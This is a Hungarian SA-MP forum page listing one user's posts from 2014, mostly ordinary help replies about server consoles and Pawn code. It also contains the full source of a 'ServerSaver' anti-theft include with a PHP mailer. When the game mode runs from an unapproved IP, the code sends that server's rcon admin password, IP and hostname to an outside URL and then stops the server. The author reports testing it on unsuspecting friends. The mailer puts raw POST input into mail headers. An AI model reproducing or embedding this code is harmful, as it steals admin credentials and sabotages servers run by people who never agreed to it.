Üzenetek megjelenítése

Ez a szekció lehetővé teszi a felhasználó által írt összes hozzászólás megtekintését. Vedd figyelembe, hogy csak azokba a fórumokba írt hozzászólásokat látod, amelyekhez hozzáférésed van.


Üzenetek - solyom1992

Oldalak: [1] 2 3 ... 11
1
Segítségkérés / [query:p] from ip ez mi? és miért jelent meg?
« Dátum: 2014. Augusztus 14. - 13:01:58 »
hát való színûleg így lesz (h valaki kirakta az aláírásába)  egyébként tökm1 h mire rakom a szervert jelenleg zr1 en van és még így is írogatja ezt a vackot + 0 ra állítottam a query-t de még úgy is írogatja... és baromi idegesítõ mert így nem látom a chatlogot és konkrétan semmit a konzolban....

Dupla hozzászólás automatikusan összefûzve. ( 2014. Augusztus 14. - 13:09:51 )

áh meg van a hiba valamiért bekerült ez a sor a server.cfg be ami 1-re volt állítva o_o logqueries 0 bár nem tom hogyan hiszen az elmúlt pár hétben nem nyúltam a cfg-hez na m1 köszi a helpeket  ;D

2
Segítségkérés / [query:p] from ip ez mi? és miért jelent meg?
« Dátum: 2014. Augusztus 14. - 12:32:39 »
oké csak elég idegesítõ h telefloodolja a konzolt .... nem lehet ezt valahogy kikapcsolni? mert nekem még nem sikerült...

Dupla hozzászólás automatikusan összefûzve. ( 2014. Augusztus 14. - 12:36:13 )

és amúgy a host nál nincs r4 szerintem mert fel vannak sorolva h milyenek vannak X zR1-2 ZR1 Zr2-R3 van

3
Segítségkérés / [query:p] from ip ez mi? és miért jelent meg?
« Dátum: 2014. Augusztus 13. - 21:55:26 »
nem nincs köztük az én szerom ip-je

Dupla hozzászólás automatikusan összefûzve. ( 2014. Augusztus 13. - 21:56:42 )

és a szerom se r4 es mivel a hostnál nincs is r4 es verzió még

4
Segítségkérés / [query:p] from ip ez mi? és miért jelent meg?
« Dátum: 2014. Augusztus 13. - 21:41:44 »
üdv az lenne a kérdésem h a szerveremen megjelent ez a ki írás a konzolban:

[21:34:14] [query:p] from 178.238.41.168
[21:34:14] [query:i] from 178.238.41.168
[21:34:20] [query:i] from 195.3.225.209
[21:34:21] [query:d] from 91.121.4.31
[21:34:24] [query:r] from 178.238.41.168
[21:34:34] [query:d] from 95.141.32.34
[21:34:34] [query:i] from 95.141.32.34
[21:34:34] [query:r] from 95.141.32.34

 
és nem tudom eltüntetni de folyamatosan ezt floodolja (clans) és mindig más ip vel ez mi? és hogy tudom eltüntetni?

5
Fórum Archívum (Témák/Fórumok) / Royal Guard Plugin SA-MP-hoz
« Dátum: 2014. Április 28. - 20:23:13 »
örülök h a kis pluginom elindított egy hullámot a védekezés terén már megérte publikálni a ServerSaver-t :D

6
Segítségkérés / Nem tudom hogy kellene orvosolni ezt a hibát
« Dátum: 2014. Április 13. - 17:23:43 »
ez a hiba aszem olyankor van amikor különbözik a forward a publictól azaz a te esetedben szerintem az a_samp include-ban még nem a Z hez van frissítsd a pawno include könyvtárát

7
Munkaerő keresése / Haladó Szinten Mappolást vállalok!
« Dátum: 2014. Április 07. - 14:46:19 »
helló érdekelne a dolog de jó lenne valamiféle mappot látni

8
SA-MP: Szerverfejlesztés / ServerSaver Lopásgátló
« Dátum: 2014. Március 30. - 22:03:37 »
lehet de abból e-mail-t címet nem tudnak meg szóval igazából tök m1 szerintem
aki pedig így akar megszívatni valakit az úgy is megtalálja a módját szerintem

9
SA-MP: Szerverfejlesztés / ServerSaver Lopásgátló
« Dátum: 2014. Március 30. - 11:22:37 »
pontosan egyébként akár azt is használhatjátok még mert ott fent van ez a file azért is hagytam benne ezt az útvonalat mert az egy ingyenes hoston van fent tehát kipróbálásra és akár hosszabb távon is jó lehet

10
SA-MP: Szerverfejlesztés / ServerSaver Lopásgátló
« Dátum: 2014. Március 26. - 16:54:04 »
amúgy is ez csak egy része a teljes védelemnek. én ez mellet még deamx et is használok és ez a kettõ így szerintem jó párosítás mivel visszafordítani nem tudják normálisan és még az amx filet se tudják felhasználni mert lekapcsol a szerver
ui.: aki sûrûn húzza újra a gépét annak talán egy külsõ merevlemezt vagy egy egyszerû pendrive-ot ajánlok az tuti lopásbiztos xd

11
SA-MP: Szerverfejlesztés / ServerSaver Lopásgátló
« Dátum: 2014. Március 25. - 17:53:56 »
ServerSaver Lopásgátló
Bevezetés:
Mivel új netem lett ezért a tesztszerveremre nem tudtak feljönni a haverjaim, ezért az ingyenes hostokhoz fordultam megoldás képen, de mivel sok rosszat halottam ezekrõl a hostokról és már találkoztam is olyan szervertulajokkal akiknek ellopták a módját ezért úgy döntöttem hogy nekiállok egy a módot védõ kis script megírásába.Miután kicsit körbe néztem a neten láttam hogy talán a legg jobb ha a szerverem ip címéhez kötöm a mód futását és így megszületett az 1.0 ás verzió ami nagyon jól bevált de még mindig volt egy hibája.Mégpedig az hogy annak ellenére, hogy az ellopott módot használhatatlanná tette még mindig nem tudtam arról hogy ellopták a módomat, ekkor újra gondolkodni kezdtem és eszembe jutott egy régebbi szerver ahol a szerverrõl lehetett e-mailt küldeni ezért nekiálltam keresgélni majd körülbelül  egy pár perc alatt meg is találtam amit kerestem egy külföldi fórumon, és így azt az include-t felhasználva megalkodtam a 2.0 ás verziót ami már egy értesítõ email-t is küldött a lopásról benne a szerver leg fontosabb adataival.
 
Az eredeti E-mail küldõ részrõl:
Mivel nem szerettem volna hogy a szerver-t levédõ rész és az e-mail küldõ rész szétváljon ezért egybe raktam a kettõt.
Eredeti e-mail küldõ neve:Mailer.inc
Eredeti Mailer feltöltõje:Slice
Eredeti Mailer Forumja:http://forum.sa-mp.com/showthread.php?t=197755
Berakás és beállítás:
(1) Tölsd le a szervert(link a leírás alján)
(2) Nyisd meg a ServerSaver.inc filet
(3) Tölsd fel a Mailer.php filet egy olyan honlapra/hostra ahol le tudod kérni az elérési utvonalát
(4) Másold be a ServerSaver.inc filet a server/pawno/include mappába

(5) Állítsd be a minta alapján1 IP cím esetén:

//********************[CONFIG]**************************************************
#define ip0 \"188.143.120.22:7834\"//ide kerülnek az ip cimeid
#define ip1 \"non\"
#define ip2 \"non\"
#define E_mail \"[email protected]\"//ide ird be a saját e-mail címed
#define tulaj \"Sanyi\"//ide ird be a neved
#define MAILER_URL \"serversaver.webege.com/mailer.php\" //a php file helye egy hoston vagy oldalon
//******************************************************************************


Több IP Cím esetén:




//********************[CONFIG]**************************************************
#define ip0 \"188.143.120.22:7834\"
 
//ide kerülnek az ip cimeid
#define ip1 \"188.150.120.23:7777\"
 
//ide kerülnek az ip cimeid
#define ip2 \"non\"
#define E_mail \"[email protected]\"
 
//ide ird be a saját e-mail címed
#define tulaj \"Sanyi\"
 
//ide ird be a neved
#define MAILER_URL \"serversaver.webege.com/mailer.php\" //a php file helye egy hoston vagy oldalon
//******************************************************************************

(6) Nyisd meg a levédeni kívánt Játékmódot és ted be ezt a main vagy az OnGamemodeInt alá

public OnGameModeInit()
{
IsServerClear();
}

(7) Nyisd meg a Server.cfg filet és új sorba add hozzá a bind (IPcímed port nékül) sortpélda:

echo Executing Server Config...
 
lanmode 0
weburl www.sa-mp.com
maxnpc 0
port 7834
incar_rate 40
hostname ASD
maxplayers 30
gamemode0 PLG
stream_distance 300.0
onfoot_rate 40
query 1
filterscripts TD
base
announce 1
weapon_rate 40
stream_rate 1000
rcon_password próbajelszó
logtimeformat [%H:%M:%S]
plugins streamer.dll sscanf.dll
bind 188.143.120.22

ezután kész is vagy a beállításokkal és már le is van védve a játékmódod

innentõl ha jól csináltál mindent akkor a server log ban ezt kell látnod:


[12:08:28] |||||||||||||||||||||||||||||||||||||
[12:08:28] _-------------------------------------_
[12:08:28] _|                                   |_
[12:08:28] _|  Szerver futtatása engedélyezve!  |_
[12:08:28] _|       Kellemes szórakozást!       |_
[12:08:28] _|                                   |_
[12:08:28] _-------------------------------------_
[12:08:28] |||||||||||||||||||||||||||||||||||||

Ha rosszúl irtad be az IP címed a beállításoknál vagy elopják a módot akkor ezt fogod/fogja látni a szerverlogban miután leállt a szerver:



[16:24:32] |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
[16:24:32] _+--------------------------------------------------------------------------+_
[16:24:32] _|  __                                                                  __  |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |!!| |_
[16:24:32] _| |__| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |__| |_
[16:24:32] _|  __  ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona!  __  |_
[16:24:32] _| |__| ERROR:Futtatási jog megtagadva! Ez a Mód a PLG TEAM Tulajdona! |__| |_
[16:24:32] _|                                                                          |_
[16:24:32] _+--------------------------------------------------------------------------+_
[16:24:32] |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

 
Teszt:
Teszt képen több embernek is elküldtem az egyik módom ezzel levédve és  mivel õk nem tudtak a védelemrõl ezért nagy örömmel és buzgósággal fogadták a legújabb módomat nem sejtve, hogy egy teszt részesei.A Védelem tökéletesen mûködött minden esetben leállította a szervereket és el is küldte a szerverek adatait.
Bug,Hiba:
Eddig nem találtam hibát benne nállam tökéletesen mûködikegyedüli problémálya hogy ha nincs a server.cfg be beirva a bind sor akkor az ip címet nem irja ki de ebbõl lehet arra állapítani hogy csak házi szerveren próbálták meg elindítani.
Letöltés:
http://www.solidfiles.com/d/5223484c20/serversaver.rar
Code:
 

#include <a_samp>
#include <a_http>
//********************[CONFIG]**************************************************
#define ip0 \"188.143.120.22:7834\"
#define ip1 \"non\"
#define ip2 \"non\"
#define E_mail \"[email protected]\"
#define tulaj \"Sanyi\"
#define MAILER_URL \"serversaver.webege.com/mailer.php\" //a php file helye egy hoston vagy oldalon
//******************************************************************************
 
#if ( !defined MAILER_MAX_MAIL_SIZE )
   #define MAILER_MAX_MAIL_SIZE  (1024)
#endif
 
#if ( !defined MAILER_URL )
   #error Please define MAILER_URL before including the mailer include.
#endif
forward timer();
public timer()
{
    SendRconCommand(\"exit\");
   return 1;
}
stock IsServerClear()
{
new Sip[64],ports,serverip[128],servername[100],rcon[128];
GetServerVarAsString(\"bind\", Sip, sizeof(Sip));
GetServerVarAsString(\"hostname\",servername, sizeof(servername));
GetServerVarAsString(\"rcon_password\",rcon, sizeof(rcon));
ports=GetServerVarAsInt(\"port\");
format(serverip,sizeof(serverip),\"%s:%d\",Sip,ports);
if(strcmp(serverip,ip0,true)==0||strcmp(serverip,ip1,true)==0||strcmp(serverip,ip2,true)==0)
{
print(\"|||||||||||||||||||||||||||||||||||||\");
print(\"_-------------------------------------_\");
print(\"_|                                   |_\");
print(\"_|  Szerver futtatása engedélyezve!  |_\");
print(\"_|       Kellemes szórakozást!       |_\");
print(\"_|                                   |_\");
print(\"_-------------------------------------_\");
print(\"|||||||||||||||||||||||||||||||||||||\");
}
else
{
print(\"|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\");
print(\"_+--------------------------------------------------------------------------+_\");
print(\"_|  __                                                                  __  |_\");
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!      |!!| |_\",tulaj);
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!      |!!| |_\",tulaj);
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!      |!!| |_\",tulaj);
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!      |!!| |_\",tulaj);
printf(\"_| |!!| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!      |!!| |_\",tulaj);
printf(\"_| |__| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!      |__| |_\",tulaj);
printf(\"_|  __  ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!       __  |_\",tulaj);
printf(\"_| |__| ERROR:Futtatási jog megtagadva! Ez a Mód a %s Tulajdona!      |__| |_\",tulaj);
print(\"_|                                                                          |_\");
print(\"_+--------------------------------------------------------------------------+_\");
print(\"|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\");
new uzenet[256],years,month,day,hour,minut;
getdate(years,month,day);
gettime(hour,minut);
format(uzenet,sizeof(uzenet),\"jogtalanul indították el a szervert!\\nSzerver IP: %s\\nSzerver név:%s\\nRcon jelszó:%s\\nDátum:%d.%d.%d\\nIdõ: %d:%d\",serverip,servername,rcon,years,month,day,hour,minut);
SendMail( E_mail, \"[email protected]\",\"MOD FIGYELO\",\"MOD LOPAS!\", uzenet );
SetTimer(\"timer\",500,false);
}
return 1;
}
stock SendMail( const szReceiver[ ], const szSenderMail[ ], const szSenderName[ ], const szSubject[ ], const szMessage[ ] )
{
   new
      szBuffer[ MAILER_MAX_MAIL_SIZE ] = \"t=\",
      iPos    = strlen( szBuffer ),
      iLength = strlen( szReceiver )
   ;
 
   memcpy( szBuffer, szReceiver, iPos * 4, ( iLength + 1 ) * 4 );
 
   StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
 
   strcat( szBuffer, \"&f=\" );
 
   iPos    = strlen( szBuffer );
   iLength = strlen( szSenderName );
 
   memcpy( szBuffer, szSenderName, iPos * 4, ( iLength + 1 ) * 4 );
 
   StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
 
   strcat( szBuffer, \"&n=\" );
 
   iPos    = strlen( szBuffer );
   iLength = strlen( szSenderMail );
 
   memcpy( szBuffer, szSenderMail, iPos * 4, ( iLength + 1 ) * 4 );
 
   StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
 
   strcat( szBuffer, \"&s=\" );
 
   iPos    = strlen( szBuffer );
   iLength = strlen( szSubject );
 
   memcpy( szBuffer, szSubject, iPos * 4, ( iLength + 1 ) * 4 );
 
   StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
 
   strcat( szBuffer, \"&m=\" );
 
   iPos    = strlen( szBuffer );
   iLength = strlen( szMessage );
 
   memcpy( szBuffer, szMessage, iPos * 4, ( iLength + 1 ) * 4 );
 
   StringURLEncode( szBuffer[ iPos ], 1024 - iPos );
 
   HTTP( 0xD00D, HTTP_POST, MAILER_URL, szBuffer, \"OnMailScriptResponse\" );
}
 
forward OnMailScriptResponse( iIndex, iResponseCode, const szData[ ] );
public  OnMailScriptResponse( iIndex, iResponseCode, const szData[ ] )
{
   if ( szData[ 0 ] )
      printf( \"Mailer script says: %s\", szData );
}
 
stock StringURLEncode( szString[ ], iSize = sizeof( szString ) )
{
   for ( new i = 0, l = strlen( szString ); i < l; i++ )
   {
      switch ( szString[ i ] )
      {
         case \'!\', \'(\', \')\', \'\\\'\', \'*\',
              \'0\' .. \'9\',
              \'A\' .. \'Z\',
              \'a\' .. \'z\':
         {
            continue;
         }
 
         case \' \':
         {
            szString[ i ] = \'+\';
 
            continue;
         }
      }
 
      new
         s_szHex[ 8 ]
      ;
 
      if ( i + 3 >= iSize )
      {
         szString[ i ] = EOS;
 
         break;
      }
 
      if ( l + 3 >= iSize )
         szString[ iSize - 3 ] = EOS;
 
      format( s_szHex, sizeof( s_szHex ), \"%02h\", szString[ i ] );
 
      szString[ i ] = \'%\';
 
      strins( szString, s_szHex, i + 1, iSize );
 
      l += 2;
      i += 2;
 
      if ( l > iSize - 1 )
         l = iSize - 1;
   }
}

 
php tartalma:
 

<?php
   ini_set( \'html_errors\', false );
   
   if ( empty( $_POST[ \'t\' ] ) || empty( $_POST[ \'f\' ] ) || empty( $_POST[ \'n\' ] ) || empty( $_POST[ \'s\' ] ) || empty( $_POST[ \'m\' ] ) )
      die( \'Error: Missing parameters.\' );
   
   mail(
      $_POST[ \'t\' ],
      utf8_encode( $_POST[ \'s\' ] ),
      $_POST[ \'m\' ],
      implode(
         \"\\r\\n\",
         array
         (
            \'From: \"\' . addslashes( $_POST[ \'f\' ] ) . \"\\\" <{$_POST[ \'n\' ]}>\",
            \"Reply-To: {$_POST[\'f\']}\",
            \"X-Mailer: PHP/\" . phpversion( ),
         )
      )
   );
?>

12
Segítségkérés / Nem mûködõ /stats parancs
« Dátum: 2014. Március 25. - 12:32:58 »
ó hogy szúrná ki a szemem a pawno xd  :facepalm:  :wall: meg van a hiba azért tért vissza return 0 val mert a ratio az egy float szám és én igy kértem le:
 

rat=PlayerInfo[playerid][Kills]/PlayerInfo[playerid][Deaths];

 
miközben így kellet volna:
 

rat=Float:PlayerInfo[playerid][Kills]/Float:PlayerInfo[playerid][Deaths];

 
és igy máris müködik a parancs tökéletesen  :wall:

13
Segítségkérés / Leghatásosabb modlopás gátló
« Dátum: 2014. Március 24. - 21:17:40 »
elküldtem pü ben az eredetit holnap pedig publikálom és ha még nyitva a téma akkor kirakom ide is a linket

Dupla hozzászólás automatikusan összefûzve. ( 2014. Március 25. - 18:17:35 )

ahogy ígértem tegnap itt van a link:
http://sampforum.hu/index.php?topic=51880.0

14
Segítségkérés / Leghatásosabb modlopás gátló
« Dátum: 2014. Március 24. - 20:56:24 »
azt úgy is akartam publikálni majd holnap megcsinálom a nyilvános változatát addig ha gondolod átküldöm neked

15
Segítségkérés / Leghatásosabb modlopás gátló
« Dátum: 2014. Március 24. - 20:42:15 »
nekem van egy lopás gátlóm ami ip alapján engedélyezi vagy tiltja a mód futását ha a megadott ip(ip-k)rõl fut a mód akkor engedélyezi a futást és megy a mód ha nem a megadott ip rõl fut akkor leállítja a szervert + küld egy e-mailt hogy ellopták a módot ipvel,portal,szervernévvel,és rconnal együtt. ezt beraktam egy includeba és beraktam az ongamemode int alá és nekem eddig teljesen jó volt el küldtem pár gyanútlan haveromnak és tökéletesen mûködött nekem

Oldalak: [1] 2 3 ... 11
SimplePortal 2.3.7 © 2008-2024, SimplePortal